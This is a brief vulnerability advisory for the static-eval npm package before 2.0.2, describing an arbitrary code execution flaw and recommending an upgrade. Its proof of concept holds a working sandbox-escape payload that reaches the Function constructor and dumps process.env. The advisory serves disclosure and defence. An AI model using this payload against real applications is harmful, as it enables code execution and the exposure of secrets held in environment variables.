Details

Sandbox Breakout / Arbitrary Code Execution in static-eval Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package. ## Proof of concept ``` var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = process.argv[2]; var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()' var ast = parse(payload).body[0].expression; console.log(evaluate(ast, {x:1})); ``` ## Recommendation Upgrade to version 2.0.2 or later.
